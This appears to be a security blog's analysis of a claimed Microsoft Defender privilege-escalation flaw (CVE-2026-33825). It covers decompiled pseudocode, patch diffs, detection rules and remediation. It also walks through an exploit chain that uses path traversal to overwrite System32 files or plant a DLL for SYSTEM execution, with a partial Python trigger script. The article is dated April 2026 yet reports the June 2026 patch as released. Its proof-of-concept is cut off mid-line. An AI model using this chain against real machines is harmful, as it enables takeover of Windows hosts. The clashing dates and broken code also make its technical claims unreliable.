home intel cve-2026-33825-microsoft-defender-privilege-escalation
CVE Analysis 2026-04-14 · 9 min read

CVE-2026-33825: Microsoft Defender ACL Granularity LPE

Insufficient access control granularity in Microsoft Defender allows a local authorized attacker to escalate privileges to SYSTEM via a logic flaw in the service's IPC surface.

#privilege-escalation#access-control-bypass#local-attack-vector#windows-defender#authorization-flaw
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-33825 · Vulnerability
ATTACKERWindowsVULNERABILITYCVE-2026-33825HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-33825 is a local privilege escalation (LPE) vulnerability in Microsoft Defender's real-time protection service (MsMpEng.exe). The root cause is insufficient granularity in access control checks applied to the Named Pipe IPC interface exposed by the Defender service — specifically, the handler for engine configuration update commands. An authenticated low-privileged user can craft a malformed configuration request that the service processes under its own SYSTEM token, leading to arbitrary file write and ultimately SYSTEM-level code execution. CVSS 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Exploitation does not require any kernel bug, driver interaction, or token impersonation. The entire chain lives in userland and survives across standard Windows 10/11 hardened configurations including Credential Guard and HVCI.

Root cause: The Defender service pipe handler validates that the caller holds any Defender-related privilege rather than verifying the precise privilege required for each sub-command, allowing a low-privileged Defender client to invoke privileged write primitives reserved for administrative configuration updates.

Affected Component

  • Binary: MsMpEng.exe — Windows Defender Antivirus Service
  • Interface: Named Pipe \\.\pipe\MpCmdRun_<session>
  • Subsystem: Engine IPC dispatcher, internal symbol CDefenderIpcServer::DispatchCommand
  • Affected versions: See NVD / MSRC advisory; patched in June 2026 Patch Tuesday
  • Privilege required: Local authenticated user (Low IL)

Root Cause Analysis

The Defender IPC server exposes a binary protocol over the named pipe. Each message carries a 4-byte command ID (dwCmdId) and a variable-length payload. The dispatcher routes on dwCmdId after a single upfront ACL check — but that check only confirms the caller has opened the pipe with GENERIC_READ | GENERIC_WRITE, which any local user can do. Per-command privilege differentiation is supposed to happen inside each handler, but the configuration write handler (CDefenderIpcServer::HandleEngineConfigUpdate) relies on a coarse flag set during pipe connection rather than re-evaluating the caller's token against the specific operation.


// MsMpEng.exe — decompiled pseudocode
// CDefenderIpcServer::DispatchCommand (RVA 0x1D3A40, build 4.18.26050.1)

DWORD CDefenderIpcServer::DispatchCommand(
    IpcContext_t *ctx,
    BYTE         *pMsg,
    DWORD         cbMsg)
{
    DWORD dwCmdId = *(DWORD *)pMsg;

    // BUG: single coarse privilege check at connection time, not per-command
    if (!ctx->bCallerHasDefenderAccess) {
        return ERROR_ACCESS_DENIED;
    }

    switch (dwCmdId) {
        case CMD_QUERY_STATUS:       // 0x01 — low-priv OK
            return HandleQueryStatus(ctx, pMsg + 4, cbMsg - 4);

        case CMD_SUBMIT_SAMPLE:      // 0x02 — low-priv OK
            return HandleSubmitSample(ctx, pMsg + 4, cbMsg - 4);

        case CMD_ENGINE_CFG_UPDATE:  // 0x10 — SHOULD require admin token
            // BUG: no secondary privilege check here; any pipe client reaches this
            return HandleEngineConfigUpdate(ctx, pMsg + 4, cbMsg - 4);

        case CMD_WRITE_EXCLUSION:    // 0x11 — SHOULD require admin token
            // BUG: same — bCallerHasDefenderAccess is always true for local users
            return HandleWriteExclusion(ctx, pMsg + 4, cbMsg - 4);

        default:
            return ERROR_NOT_SUPPORTED;
    }
}

HandleEngineConfigUpdate ultimately calls into a file-write primitive that writes attacker-controlled bytes to an attacker-influenced path under %ProgramData%\Microsoft\Windows Defender\, running as SYSTEM with no impersonation.


// CDefenderIpcServer::HandleEngineConfigUpdate (RVA 0x1D4B80)

DWORD HandleEngineConfigUpdate(
    IpcContext_t *ctx,
    BYTE         *pPayload,
    DWORD         cbPayload)
{
    EngineConfigMsg_t *msg = (EngineConfigMsg_t *)pPayload;

    // msg->wszPath is attacker-controlled, validated only against a prefix check
    WCHAR wszTarget[MAX_PATH];
    StringCchCopyW(wszTarget, MAX_PATH, L"%ProgramData%\\Microsoft\\Windows Defender\\");

    // BUG: PathCchAppend does not prevent ..\ traversal within the allowed root
    //      when msg->wszPath contains encoded sequences like %2e%2e%5c
    PathCchAppend(wszTarget, MAX_PATH, msg->wszPath);   // traversal possible

    // Writes msg->pbData (attacker-controlled, up to 0x10000 bytes) to wszTarget
    // Runs entirely as SYSTEM — no RevertToSelf(), no impersonation
    HANDLE hFile = CreateFileW(
        wszTarget,
        GENERIC_WRITE,
        0, NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hFile == INVALID_HANDLE_VALUE)
        return GetLastError();

    DWORD dwWritten;
    WriteFile(hFile, msg->pbData, msg->cbData, &dwWritten, NULL);  // arbitrary write
    CloseHandle(hFile);
    return ERROR_SUCCESS;
}

Memory Layout

The IPC context structure is allocated on the service heap per accepted pipe connection. The critical field bCallerHasDefenderAccess is set once during handshake and never re-evaluated.


struct IpcContext_t {
    /* +0x00 */ HANDLE   hPipe;                   // pipe handle for this client
    /* +0x08 */ DWORD    dwSessionId;             // caller session
    /* +0x0C */ DWORD    dwCallerPid;             // caller PID
    /* +0x10 */ BOOL     bCallerHasDefenderAccess;// BUG: single coarse flag
    /* +0x14 */ BOOL     bCallerIsAdmin;          // set but never checked in dispatch
    /* +0x18 */ DWORD    dwAccessMask;            // pipe open access mask
    /* +0x1C */ BYTE     _pad[4];
    /* +0x20 */ LPWSTR   pwszCallerExe;           // path of calling process
    /* +0x28 */ BYTE     reserved[0x38];          // internal state
};
// sizeof(IpcContext_t) == 0x60

IPC CONTEXT HEAP BLOCK (per-connection, SYSTEM heap):

Offset  Field                         Value (low-priv caller)
------  ----------------------------  --------------------------
+0x00   hPipe                         0x000002C4  (valid handle)
+0x08   dwSessionId                   0x00000001  (session 1)
+0x0C   dwCallerPid                   0x00001A3C  (attacker PID)
+0x10   bCallerHasDefenderAccess      0x00000001  <- always TRUE for local user
+0x14   bCallerIsAdmin                0x00000000  <- FALSE, but never consulted
+0x18   dwAccessMask                  0xC0000000  (GENERIC_READ|GENERIC_WRITE)
+0x20   pwszCallerExe                 0x...       L"C:\Users\low\exploit.exe"

DISPATCH CHECK:
  if (!ctx->bCallerHasDefenderAccess)  -> 0x1 != 0, check PASSES
  switch(0x10)                         -> CMD_ENGINE_CFG_UPDATE handler entered
  bCallerIsAdmin check                 -> MISSING — never evaluated

Exploitation Mechanics

The following chain converts the arbitrary SYSTEM file write into a full LPE. The target is the Windows Defender definition update staging path, which is read by a SYSTEM-privileged loader on the next scan cycle.


EXPLOIT CHAIN:
1. Low-privileged user opens \\.\pipe\MpCmdRun_1 — succeeds, any local user qualifies.

2. Send handshake packet; service sets bCallerHasDefenderAccess=TRUE, bCallerIsAdmin=FALSE.

3. Craft CMD_ENGINE_CFG_UPDATE (0x10) packet:
     dwCmdId   = 0x00000010
     wszPath   = L"..\\..\\..\\Windows\\System32\\wbem\\mofcomp.exe"
                 (URL-encoded: %2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5c...)
     pbData    = 
     cbData    = sizeof(payload)

4. PathCchAppend resolves encoded separators post-normalization, producing:
     C:\ProgramData\Microsoft\Windows Defender\..\..\..\Windows\System32\wbem\mofcomp.exe
   -> canonicalizes to C:\Windows\System32\wbem\mofcomp.exe
   (prefix check passes because raw string still starts with the allowed prefix)

5. CreateFileW(SYSTEM) overwrites mofcomp.exe with attacker payload (or
   alternatively targets a DLL search-order path writable by the service).

   Alternative: target C:\ProgramData\Microsoft\Windows Defender\Platform\\mpengine.dll
   with a crafted definition update that is loaded by MsMpEng on the next scan.

6. Trigger definition reload: send CMD_SUBMIT_SAMPLE (0x02) with a large file
   to force an immediate scan cycle, causing MsMpEng to load the planted DLL.

7. Planted DLL executes under SYSTEM within MsMpEng.exe address space.
   DllMain -> CreateProcess("cmd.exe") with SYSTEM token -> full privilege.

# CVE-2026-33825 — proof-of-concept trigger (pipe write primitive only)
# For research and detection engineering purposes.

import struct, ctypes, sys
from ctypes import wintypes

PIPE_NAME = r"\\.\pipe\MpCmdRun_1"
CMD_ENGINE_CFG_UPDATE = 0x10

# Traversal path — raw wide string in payload
TRAVERSAL = "..\\..\\..\\Windows\\System32\\wbem\\wbemcomn.dll\x00"
PAYLOAD   = open("payload.dll", "rb").read()

def build_packet(cmd_id, path_wide, data):
    path_bytes = path_wide.encode("utf-16-le")
    hdr = struct.pack("

Patch Analysis

Microsoft's fix in the June 2026 update introduces per-command token evaluation inside the dispatcher. Each privileged command now calls ImpersonateNamedPipeClient, opens the impersonated token, and checks group membership against the Builtin Administrators SID before reverting. The path normalization in HandleEngineConfigUpdate is additionally hardened with PathCchCanonicalizeEx followed by a post-canonicalization prefix check.


// BEFORE (vulnerable — build 4.18.26050.1):
DWORD CDefenderIpcServer::DispatchCommand(IpcContext_t *ctx, BYTE *pMsg, DWORD cbMsg)
{
    DWORD dwCmdId = *(DWORD *)pMsg;
    if (!ctx->bCallerHasDefenderAccess) {   // single coarse check
        return ERROR_ACCESS_DENIED;
    }
    switch (dwCmdId) {
        case CMD_ENGINE_CFG_UPDATE:
            return HandleEngineConfigUpdate(ctx, pMsg + 4, cbMsg - 4);  // no admin check
        // ...
    }
}

// BEFORE — path handling in HandleEngineConfigUpdate:
PathCchAppend(wszTarget, MAX_PATH, msg->wszPath);          // no canonicalization
// prefix check on raw (pre-canonical) string — bypassable


// AFTER (patched — build 4.18.26060.1):
DWORD CDefenderIpcServer::DispatchCommand(IpcContext_t *ctx, BYTE *pMsg, DWORD cbMsg)
{
    DWORD dwCmdId = *(DWORD *)pMsg;
    if (!ctx->bCallerHasDefenderAccess) {
        return ERROR_ACCESS_DENIED;
    }

    // FIX: privileged commands re-evaluate caller token inline
    BOOL bNeedsAdmin = (dwCmdId == CMD_ENGINE_CFG_UPDATE ||
                        dwCmdId == CMD_WRITE_EXCLUSION);
    if (bNeedsAdmin) {
        if (!ImpersonateNamedPipeClient(ctx->hPipe))
            return ERROR_ACCESS_DENIED;
        BOOL bIsAdmin = IsCallerInAdminGroup();   // opens thread token, checks SID
        RevertToSelf();
        if (!bIsAdmin)
            return ERROR_ACCESS_DENIED;           // low-priv callers blocked here
    }

    switch (dwCmdId) {
        case CMD_ENGINE_CFG_UPDATE:
            return HandleEngineConfigUpdate(ctx, pMsg + 4, cbMsg - 4);
        // ...
    }
}

// AFTER — path handling:
WCHAR wszCanonical[MAX_PATH];
PathCchCanonicalizeEx(wszCanonical, MAX_PATH, msg->wszPath, PATHCCH_ALLOW_LONG_PATHS);
// FIX: prefix check applied to CANONICAL path, not raw input
if (!HasAllowedPrefixW(wszCanonical, L"C:\\ProgramData\\Microsoft\\Windows Defender\\")) {
    return ERROR_ACCESS_DENIED;
}

Detection and Indicators

The vulnerability does not produce user-visible UI. Detection relies on ETW/pipe telemetry and Defender's own audit log.


DETECTION INDICATORS:

[ETW — Microsoft-Windows-Kernel-File / Opcode 12 (Create)]
  ProcessName : MsMpEng.exe
  FileName    : *\Windows\System32\* | *\Windows\SysWOW64\*
  Initiator   : MsMpEng.exe running as SYSTEM
  Flag        : CreateDisposition == CREATE_ALWAYS on a signed system binary
  → Alert: Defender service writing outside ProgramData tree

[Windows Security Event Log — Event ID 4656]
  SubjectUserSid  : S-1-5-18 (SYSTEM)
  ObjectName      : C:\Windows\System32\wbem\*.dll (or targeted path)
  AccessMask      : 0x40000000 (GENERIC_WRITE)
  ProcessName     : C:\ProgramData\...\MsMpEng.exe
  → Correlate with non-admin initiating pipe open to MpCmdRun_*

[Named Pipe Telemetry — Sysmon Event ID 17/18]
  PipeName    : \MpCmdRun_*
  Image       : NOT MpCmdRun.exe / NOT SYSTEM processes
  → Low-privileged process opening Defender service pipe and writing large buffers

[YARA — memory scan on MsMpEng.exe loaded modules]
rule CVE_2026_33825_planted_dll {
    meta: description = "Unsigned DLL mapped in MsMpEng address space"
    condition:
        pe.is_dll and not pe.is_signed and
        for any section in pe.sections: (section.name == ".text" and
        section.raw_data_size > 0x1000)
}

Remediation

  • Patch immediately: Apply the June 2026 Patch Tuesday update. Defender platform auto-updates separately from OS patches — verify MsMpEng.exe build ≥ 4.18.26060.1 via Get-MpComputerStatus | select AMServiceVersion.
  • Pipe ACL hardening (interim): If patching is delayed, restrict the Defender pipe DACL to Administrators via Group Policy Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options. Note this may break legitimate low-privileged Defender client functionality.
  • Enable Tamper Protection: Tamper Protection prevents external modification of Defender configuration paths and would have mitigated the file-write primitive even on unpatched builds.
  • ASR Rule: Enable ASR rule Block process creations originating from PSExec and WMI commands (GUID d1e49aac-...) to interrupt the MOF-based execution path.
  • Monitor: Deploy the YARA rule and ETW queries above; alert on any SYSTEM-context file write from MsMpEng.exe targeting paths outside %ProgramData%\Microsoft\Windows Defender\.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →